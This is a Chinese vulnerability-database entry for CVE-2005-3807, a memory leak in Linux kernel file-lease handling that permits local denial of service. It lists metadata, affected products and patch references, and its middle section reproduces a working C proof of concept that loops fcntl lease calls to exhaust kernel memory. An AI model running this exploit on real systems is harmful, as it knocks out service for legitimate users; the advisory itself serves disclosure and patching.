Linux Kernel文件锁定租用本地拒绝服务漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1109574 漏洞类型 设计错误
发布时间 2005-12-29 更新时间 2006-05-02
CVE编号 CVE-2005-3807 CNNVD-ID CNNVD-200511-393
漏洞平台 Linux CVSS评分 4.9
|漏洞来源
https://www.exploit-db.com/exploits/26749
https://www.securityfocus.com/bid/15745
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200511-393
|漏洞详情
Linuxkernel是美国Linux基金会发布的开源操作系统Linux所使用的内核。NFSv4implementation是其中的一个分布式文件系统协议。Linuxkernel2.6.10至2.6.15的locks.c内的VFS文件租用处理存在内存泄漏,可让本地用户通过某些Samba活动(会导致在locks_delete_lock函数已清除fasync队列后,fcntl_setlease函数会重新分配fasync条目)使系统拒绝服务(内存耗尽)。
|漏洞EXP
/*
source: http://www.securityfocus.com/bid/15745/info

Linux kernel is susceptible to a local denial-of-service vulnerability.

This issue is triggered when excessive kernel memory is consumed by numerous file-lock leases. This problem stems from a memory leak in the kernel's file-lock lease code.

This issue allows local attackers to consume excessive kernel memory, eventually leading to an out-of-memory condition and ultimately to a denial of service for legitimate users.

Kernel versions from 2.6.10 through to 2.6.14.2 are vulnerable to this issue. 
*/


#include <unistd.h>

#include <stdlib.h>

#include <linux/fcntl.h>

int main(int ac, char **av)

{

    char *fname = av[0];

    int fd = open(fname, O_RDONLY);

    int r;

    

    while (1) {

        r = fcntl(fd, F_SETLEASE, F_RDLCK);

        if (r == -1) {

            perror("F_SETLEASE, F_RDLCK");

            exit(1);

        }

        r = fcntl(fd, F_SETLEASE, F_UNLCK);

        if (r == -1) {

            perror("F_SETLEASE, F_UNLCK");

            exit(1);

        }

    }

    return 0;

}
|受影响的产品
Trustix Secure Linux 3.0 Trustix Secure Linux 2.2 Trustix Secure Enterprise Linux 2.0 SuSE SUSE Linux Enterprise Server 8 + Linux kernel 2.4.21
|参考资料

来源:MLIST
名称:[linux-kernel]20051113[GIT]Fixmemoryleakinleasecode
链接:http://marc.theaimsgroup.com/?l=linux-kernel&m=113190437101622&w=2
来源:kernel.org
链接:http://kernel.org/git/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=dc15ae14e97ee9d5ed740cbb0b94996076d8b37e
来源:UBUNTU
名称:USN-231-1
链接:http://www.ubuntulinux.org/usn/usn-231-1
来源:TRUSTIX
名称:TSLSA-2005-0070
链接:http://www.trustix.org/errata/2005/0070
来源:BID
名称:15745
链接:http://www.securityfocus.com/bid/15745
来源:FEDORA
名称:FLSA:157459-4
链接:http://www.securityfocus.com/archive/1/archive/1/427981/100/0/threaded
来源:SUSE
名称:SUSE-SA:2005:068
链接:http://www.securityfocus.com/archive/1/archive/1/419522/100/0/threaded
来源:SUSE
名称:SUSE-SA:2005:067
链接:http://www.securityfocus.com/advisories/9806
来源:SECUNIA
名称:18203
链接:http://secunia.com/advisories/18203
来源:SECUNIA
名称:17918
链接:http://secunia.com/advisories/17918
来源:SECUNIA
名称:17917
链接:http://secunia.com/advisories/17917